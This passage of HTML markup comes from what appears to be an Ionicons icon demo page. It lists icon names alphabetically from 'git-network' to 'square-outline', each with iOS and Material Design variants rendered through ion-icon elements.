    git-network
  </td>
  <td class="align-center">
    <ion-icon name="ios-git-network" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-git-network" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    git-pull-request
  </td>
  <td class="align-center">
    <ion-icon name="ios-git-pull-request" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-git-pull-request" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    glasses
  </td>
  <td class="align-center">
    <ion-icon name="ios-glasses" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-glasses" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    globe
  </td>
  <td class="align-center">
    <ion-icon name="ios-globe" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-globe" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    grid
  </td>
  <td class="align-center">
    <ion-icon name="ios-grid" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-grid" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    hammer
  </td>
  <td class="align-center">
    <ion-icon name="ios-hammer" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-hammer" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    hand
  </td>
  <td class="align-center">
    <ion-icon name="ios-hand" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-hand" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    happy
  </td>
  <td class="align-center">
    <ion-icon name="ios-happy" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-happy" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    headset
  </td>
  <td class="align-center">
    <ion-icon name="ios-headset" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-headset" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    heart
  </td>
  <td class="align-center">
    <ion-icon name="ios-heart" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-heart" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    heart-dislike
  </td>
  <td class="align-center">
    <ion-icon name="ios-heart-dislike" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-heart-dislike" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    heart-empty
  </td>
  <td class="align-center">
    <ion-icon name="ios-heart-empty" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-heart-empty" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    heart-half
  </td>
  <td class="align-center">
    <ion-icon name="ios-heart-half" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-heart-half" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    help
  </td>
  <td class="align-center">
    <ion-icon name="ios-help" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-help" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    help-buoy
  </td>
  <td class="align-center">
    <ion-icon name="ios-help-buoy" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-help-buoy" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    help-circle
  </td>
  <td class="align-center">
    <ion-icon name="ios-help-circle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-help-circle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    help-circle-outline
  </td>
  <td class="align-center">
    <ion-icon name="ios-help-circle-outline" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-help-circle-outline" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    home
  </td>
  <td class="align-center">
    <ion-icon name="ios-home" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-home" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    hourglass
  </td>
  <td class="align-center">
    <ion-icon name="ios-hourglass" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-hourglass" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    ice-cream
  </td>
  <td class="align-center">
    <ion-icon name="ios-ice-cream" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-ice-cream" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    image
  </td>
  <td class="align-center">
    <ion-icon name="ios-image" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-image" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    images
  </td>
  <td class="align-center">
    <ion-icon name="ios-images" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-images" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    infinite
  </td>
  <td class="align-center">
    <ion-icon name="ios-infinite" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-infinite" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    information
  </td>
  <td class="align-center">
    <ion-icon name="ios-information" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-information" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    information-circle
  </td>
  <td class="align-center">
    <ion-icon name="ios-information-circle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-information-circle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    information-circle-outline
  </td>
  <td class="align-center">
    <ion-icon name="ios-information-circle-outline" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-information-circle-outline" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    jet
  </td>
  <td class="align-center">
    <ion-icon name="ios-jet" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-jet" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    journal
  </td>
  <td class="align-center">
    <ion-icon name="ios-journal" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-journal" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    key
  </td>
  <td class="align-center">
    <ion-icon name="ios-key" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-key" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    keypad
  </td>
  <td class="align-center">
    <ion-icon name="ios-keypad" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-keypad" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    laptop
  </td>
  <td class="align-center">
    <ion-icon name="ios-laptop" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-laptop" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    leaf
  </td>
  <td class="align-center">
    <ion-icon name="ios-leaf" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-leaf" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    link
  </td>
  <td class="align-center">
    <ion-icon name="ios-link" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-link" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    list
  </td>
  <td class="align-center">
    <ion-icon name="ios-list" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-list" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    list-box
  </td>
  <td class="align-center">
    <ion-icon name="ios-list-box" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-list-box" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    locate
  </td>
  <td class="align-center">
    <ion-icon name="ios-locate" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-locate" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    lock
  </td>
  <td class="align-center">
    <ion-icon name="ios-lock" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-lock" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    log-in
  </td>
  <td class="align-center">
    <ion-icon name="ios-log-in" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-log-in" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    log-out
  </td>
  <td class="align-center">
    <ion-icon name="ios-log-out" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-log-out" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    magnet
  </td>
  <td class="align-center">
    <ion-icon name="ios-magnet" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-magnet" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    mail
  </td>
  <td class="align-center">
    <ion-icon name="ios-mail" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-mail" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    mail-open
  </td>
  <td class="align-center">
    <ion-icon name="ios-mail-open" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-mail-open" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    mail-unread
  </td>
  <td class="align-center">
    <ion-icon name="ios-mail-unread" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-mail-unread" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    male
  </td>
  <td class="align-center">
    <ion-icon name="ios-male" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-male" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    man
  </td>
  <td class="align-center">
    <ion-icon name="ios-man" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-man" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    map
  </td>
  <td class="align-center">
    <ion-icon name="ios-map" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-map" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    medal
  </td>
  <td class="align-center">
    <ion-icon name="ios-medal" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-medal" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    medical
  </td>
  <td class="align-center">
    <ion-icon name="ios-medical" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-medical" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    medkit
  </td>
  <td class="align-center">
    <ion-icon name="ios-medkit" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-medkit" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    megaphone
  </td>
  <td class="align-center">
    <ion-icon name="ios-megaphone" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-megaphone" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    menu
  </td>
  <td class="align-center">
    <ion-icon name="ios-menu" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-menu" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    mic
  </td>
  <td class="align-center">
    <ion-icon name="ios-mic" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-mic" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    mic-off
  </td>
  <td class="align-center">
    <ion-icon name="ios-mic-off" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-mic-off" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    microphone
  </td>
  <td class="align-center">
    <ion-icon name="ios-microphone" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-microphone" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    moon
  </td>
  <td class="align-center">
    <ion-icon name="ios-moon" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-moon" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    more
  </td>
  <td class="align-center">
    <ion-icon name="ios-more" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-more" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    move
  </td>
  <td class="align-center">
    <ion-icon name="ios-move" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-move" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    musical-note
  </td>
  <td class="align-center">
    <ion-icon name="ios-musical-note" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-musical-note" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    musical-notes
  </td>
  <td class="align-center">
    <ion-icon name="ios-musical-notes" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-musical-notes" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    navigate
  </td>
  <td class="align-center">
    <ion-icon name="ios-navigate" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-navigate" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    notifications
  </td>
  <td class="align-center">
    <ion-icon name="ios-notifications" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-notifications" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    notifications-off
  </td>
  <td class="align-center">
    <ion-icon name="ios-notifications-off" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-notifications-off" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    notifications-outline
  </td>
  <td class="align-center">
    <ion-icon name="ios-notifications-outline" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-notifications-outline" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    nuclear
  </td>
  <td class="align-center">
    <ion-icon name="ios-nuclear" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-nuclear" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    nutrition
  </td>
  <td class="align-center">
    <ion-icon name="ios-nutrition" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-nutrition" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    open
  </td>
  <td class="align-center">
    <ion-icon name="ios-open" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-open" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    options
  </td>
  <td class="align-center">
    <ion-icon name="ios-options" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-options" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    outlet
  </td>
  <td class="align-center">
    <ion-icon name="ios-outlet" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-outlet" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    paper
  </td>
  <td class="align-center">
    <ion-icon name="ios-paper" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-paper" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    paper-plane
  </td>
  <td class="align-center">
    <ion-icon name="ios-paper-plane" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-paper-plane" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    partly-sunny
  </td>
  <td class="align-center">
    <ion-icon name="ios-partly-sunny" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-partly-sunny" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    pause
  </td>
  <td class="align-center">
    <ion-icon name="ios-pause" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-pause" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    paw
  </td>
  <td class="align-center">
    <ion-icon name="ios-paw" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-paw" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    people
  </td>
  <td class="align-center">
    <ion-icon name="ios-people" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-people" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    person
  </td>
  <td class="align-center">
    <ion-icon name="ios-person" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-person" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    person-add
  </td>
  <td class="align-center">
    <ion-icon name="ios-person-add" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-person-add" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    phone-landscape
  </td>
  <td class="align-center">
    <ion-icon name="ios-phone-landscape" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-phone-landscape" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    phone-portrait
  </td>
  <td class="align-center">
    <ion-icon name="ios-phone-portrait" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-phone-portrait" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    photos
  </td>
  <td class="align-center">
    <ion-icon name="ios-photos" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-photos" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    pie
  </td>
  <td class="align-center">
    <ion-icon name="ios-pie" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-pie" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    pin
  </td>
  <td class="align-center">
    <ion-icon name="ios-pin" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-pin" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    pint
  </td>
  <td class="align-center">
    <ion-icon name="ios-pint" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-pint" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    pizza
  </td>
  <td class="align-center">
    <ion-icon name="ios-pizza" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-pizza" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    planet
  </td>
  <td class="align-center">
    <ion-icon name="ios-planet" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-planet" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    play
  </td>
  <td class="align-center">
    <ion-icon name="ios-play" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-play" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    play-circle
  </td>
  <td class="align-center">
    <ion-icon name="ios-play-circle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-play-circle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    podium
  </td>
  <td class="align-center">
    <ion-icon name="ios-podium" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-podium" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    power
  </td>
  <td class="align-center">
    <ion-icon name="ios-power" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-power" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    pricetag
  </td>
  <td class="align-center">
    <ion-icon name="ios-pricetag" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-pricetag" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    pricetags
  </td>
  <td class="align-center">
    <ion-icon name="ios-pricetags" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-pricetags" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    print
  </td>
  <td class="align-center">
    <ion-icon name="ios-print" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-print" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    pulse
  </td>
  <td class="align-center">
    <ion-icon name="ios-pulse" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-pulse" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    qr-scanner
  </td>
  <td class="align-center">
    <ion-icon name="ios-qr-scanner" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-qr-scanner" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    quote
  </td>
  <td class="align-center">
    <ion-icon name="ios-quote" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-quote" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    radio
  </td>
  <td class="align-center">
    <ion-icon name="ios-radio" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-radio" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    radio-button-off
  </td>
  <td class="align-center">
    <ion-icon name="ios-radio-button-off" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-radio-button-off" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    radio-button-on
  </td>
  <td class="align-center">
    <ion-icon name="ios-radio-button-on" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-radio-button-on" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    rainy
  </td>
  <td class="align-center">
    <ion-icon name="ios-rainy" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-rainy" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    recording
  </td>
  <td class="align-center">
    <ion-icon name="ios-recording" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-recording" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    redo
  </td>
  <td class="align-center">
    <ion-icon name="ios-redo" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-redo" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    refresh
  </td>
  <td class="align-center">
    <ion-icon name="ios-refresh" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-refresh" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    refresh-circle
  </td>
  <td class="align-center">
    <ion-icon name="ios-refresh-circle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-refresh-circle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    remove
  </td>
  <td class="align-center">
    <ion-icon name="ios-remove" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-remove" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    remove-circle
  </td>
  <td class="align-center">
    <ion-icon name="ios-remove-circle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-remove-circle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    remove-circle-outline
  </td>
  <td class="align-center">
    <ion-icon name="ios-remove-circle-outline" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-remove-circle-outline" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    reorder
  </td>
  <td class="align-center">
    <ion-icon name="ios-reorder" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-reorder" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    repeat
  </td>
  <td class="align-center">
    <ion-icon name="ios-repeat" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-repeat" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    resize
  </td>
  <td class="align-center">
    <ion-icon name="ios-resize" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-resize" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    restaurant
  </td>
  <td class="align-center">
    <ion-icon name="ios-restaurant" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-restaurant" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    return-left
  </td>
  <td class="align-center">
    <ion-icon name="ios-return-left" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-return-left" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    return-right
  </td>
  <td class="align-center">
    <ion-icon name="ios-return-right" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-return-right" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    reverse-camera
  </td>
  <td class="align-center">
    <ion-icon name="ios-reverse-camera" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-reverse-camera" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    rewind
  </td>
  <td class="align-center">
    <ion-icon name="ios-rewind" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-rewind" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    ribbon
  </td>
  <td class="align-center">
    <ion-icon name="ios-ribbon" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-ribbon" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    rocket
  </td>
  <td class="align-center">
    <ion-icon name="ios-rocket" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-rocket" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    rose
  </td>
  <td class="align-center">
    <ion-icon name="ios-rose" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-rose" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    sad
  </td>
  <td class="align-center">
    <ion-icon name="ios-sad" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-sad" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    save
  </td>
  <td class="align-center">
    <ion-icon name="ios-save" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-save" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    school
  </td>
  <td class="align-center">
    <ion-icon name="ios-school" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-school" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    search
  </td>
  <td class="align-center">
    <ion-icon name="ios-search" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-search" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    send
  </td>
  <td class="align-center">
    <ion-icon name="ios-send" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-send" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    settings
  </td>
  <td class="align-center">
    <ion-icon name="ios-settings" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-settings" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    share
  </td>
  <td class="align-center">
    <ion-icon name="ios-share" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-share" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    share-alt
  </td>
  <td class="align-center">
    <ion-icon name="ios-share-alt" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-share-alt" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    shirt
  </td>
  <td class="align-center">
    <ion-icon name="ios-shirt" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-shirt" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    shuffle
  </td>
  <td class="align-center">
    <ion-icon name="ios-shuffle" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-shuffle" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    skip-backward
  </td>
  <td class="align-center">
    <ion-icon name="ios-skip-backward" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-skip-backward" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    skip-forward
  </td>
  <td class="align-center">
    <ion-icon name="ios-skip-forward" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-skip-forward" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    snow
  </td>
  <td class="align-center">
    <ion-icon name="ios-snow" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-snow" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    speedometer
  </td>
  <td class="align-center">
    <ion-icon name="ios-speedometer" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-speedometer" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    square
  </td>
  <td class="align-center">
    <ion-icon name="ios-square" lazy></ion-icon>
  </div>
  <td class="align-center">
    <ion-icon name="md-square" lazy></ion-icon>
  </div>
</tr>

<tr class="mode-row">
  <td>
    square-outline
  </td>
  <td class="align-center">
    <ion-icon name="ios-square-outline" lazy></ion-icon>
  </div>
  <td class="align-center">
